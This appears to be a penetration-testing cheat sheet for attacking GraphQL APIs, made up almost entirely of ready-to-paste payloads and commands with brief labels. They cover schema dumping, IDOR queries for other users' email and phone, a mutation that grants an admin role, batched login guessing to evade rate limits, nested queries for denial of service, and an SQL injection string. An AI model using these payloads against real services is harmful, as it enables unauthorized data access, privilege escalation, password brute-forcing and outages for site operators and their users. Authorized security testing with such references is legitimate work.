web-pentest
GraphQL Attacks
GraphQL security testing — endpoint discovery and engine fingerprinting, introspection (and recovery when disabled), IDOR/authz via nodes & mutations, batching rate-limit bypass, DoS and injection.
Discovery (3)
POST /graphql {"query":"{__typename}"}
Confirm a GraphQL endpoint
paths: /graphql /api/graphql /v1/graphql /graphiql /graphql/console
Hunt the endpoint + any exposed IDE
graphw00f -d -f -t https://target.com/graphql
Fingerprint the GraphQL engine
Introspection (4)
{__schema{types{name fields{name}}}}
Full introspection — dump the schema
{__schema{queryType{fields{name}} mutationType{fields{name}}}}
List all queries and mutations
{__type(name:"User"){fields{name type{name kind}}}}
Inspect a specific type's fields
clairvoyance -o schema.json https://target.com/graphql
Recover the schema even when introspection is disabled
Authz / IDOR (3)
{user(id:1002){email phone}}
IDOR via a node argument
mutation{updateUser(id:1002,role:"admin"){id}}
Authz bypass / mass assignment via a mutation
{node(id:"VXNlcjoxMDAy"){...on User{email}}}
Relay global-id IDOR (base64 of type:id)
Rate-Limit Bypass (Batching) (2)
{a:login(u:"x",p:"1"){t} b:login(u:"x",p:"2"){t} c:login(u:"x",p:"3"){t}}
Alias many attempts in ONE request to beat rate limits
[{"query":"mutation{...}"},{"query":"mutation{...}"}]
Array/JSON batching — send many operations at once
DoS (2)
query{a{b{a{b{a{b{name}}}}}}}
Deeply nested / circular query to exhaust resources
{__schema{types{fields{type{fields{type{name}}}}}}}
Field-duplication / alias amplification
Injection & Tooling (3)
{user(id:"1 OR 1=1"){id}}
SQL/NoSQL injection through a GraphQL argument
InQL (Burp) / graphql-cop / batchql
Tooling — schema parsing, security audit, batching attacks
nuclei -tags graphql -u https://target.com/graphql
Automated GraphQL misconfiguration checks
Related Articles
5
Web Hacking
JSON and YAML Unsafe Deserialization
Deep technical analysis of insecure deserialization across Java, PHP, Python, and Node.js …
Web Hacking
Supply Chain Attacks
Deep technical guide to software supply chain attacks — dependency confusion, malicious np…
Web Hacking
Cross-Site Scripting Mastery
Complete XSS guide covering all attack types, filter bypasses, CSP evasion, cookie stealin…
Web Hacking
File Upload to RCE
Complete file upload exploitation guide — MIME bypass, double extension tricks, polyglot J…
Web Hacking
Advanced SSRF
Complete SSRF exploitation guide — AWS IMDSv1/v2 credential theft, GCP/Azure metadata, bli…
